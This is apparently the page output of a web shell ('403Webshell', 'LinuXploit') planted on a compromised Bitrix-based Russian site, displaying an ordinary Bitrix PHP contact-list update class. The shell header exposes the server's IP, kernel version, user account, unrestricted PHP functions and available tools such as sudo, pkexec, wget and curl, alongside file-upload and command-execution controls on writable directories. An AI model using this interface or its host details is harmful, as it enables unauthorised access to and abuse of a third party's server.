403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sender/lib/service/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sender/lib/service/contactlistupdateservice.php
<?php

namespace Bitrix\Sender\Service;

use Bitrix\Main\Application;
use Bitrix\Sender\ContactListTable;
use Bitrix\Sender\ContactTable;
use Bitrix\Sender\Internals\Dto\UpdateContactDtoCollection;
use Bitrix\Sender\Internals\SqlBatch;

class ContactListUpdateService
{
	/**
	 * Update contact list using DTOs collection
	 *
	 * @param UpdateContactDtoCollection $collection DTOs collection
	 * @param int $listId List ID
	 *
	 * @return void
	 * @throws \Bitrix\Main\DB\SqlQueryException
	 */
	public function updateByCollection(UpdateContactDtoCollection $collection, int $listId): void
	{
		$codesByType = [];
		foreach ($collection->all() as $updateItem)
		{
			$codesByType[$updateItem->typeId][] = $updateItem->code;
		}
		$sqlHelper = Application::getConnection()->getSqlHelper();

		foreach ($codesByType as $typeId => $allCodes)
		{
			$typeId = (int)$typeId;
			$listId = (int)$listId;
			$contactTableName = ContactTable::getTableName();
			$contactListTableName = ContactListTable::getTableName();
			foreach (SqlBatch::divide($allCodes) as $codes)
			{
				$codes = SqlBatch::getInString($codes);

				$fields = '(CONTACT_ID, LIST_ID) ';
				$subSelect = "SELECT ID AS CONTACT_ID, $listId as LIST_ID ";
				$subSelect .= "FROM $contactTableName ";
				$subSelect .= "WHERE TYPE_ID=$typeId AND CODE in ($codes)";
				$sql = $sqlHelper->getInsertIgnore($contactListTableName, $fields, $subSelect);
				Application::getConnection()->query($sql);
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit